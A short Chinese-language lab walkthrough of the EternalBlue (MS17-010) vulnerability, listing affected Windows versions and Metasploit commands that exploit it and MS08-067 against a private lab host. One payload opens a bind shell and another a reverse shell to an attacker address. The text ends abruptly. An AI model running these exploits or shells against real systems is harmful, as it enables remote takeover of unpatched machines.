1. 永恒之蓝Eternalblue 攻击

Eternalblue 通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞

恶意代码会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

模拟漏洞的机器类型:

Windows XP (all services pack) (x86) (x64)

Windows Server 2003 SP1/SP2 (x86)

Windows Server 2003 (x64)

Windows Server 2008 (x86)

Windows Server 2008 R2 (x86) (x64)

Windows 7 (all services pack) (x86) (x64)

2.使用msf攻击

msf5 auxiliary(scanner/portscan/syn) > use exploit/windows/smb/ms17_010_eternalblue

msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.116.130

rhost => 192.168.116.130 (目标机为英文版Windows Server 2003 (x64))

msf5 exploit(windows/smb/ms17_010_eternalblue) > run

3. 缓冲区溢出攻击（正向攻击）

msf5 > use exploit/windows/smb/ms08_067_netapi

msf5 exploit(windows/smb/ms08_067_netapi) > set payload windows/shell/bind_tcp

msf5 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.116.130

msf5 exploit(windows/smb/ms08_067_netapi) > run

4. 缓冲区溢出攻击（反向链接攻击）

msf5 exploit(windows/smb/ms08_067_netapi) > set payload windows/shell/reverse_tcp

msf5 exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.116.128

msf5 exploit(windows/smb/ms08_067_netapi) > run

在目标机运行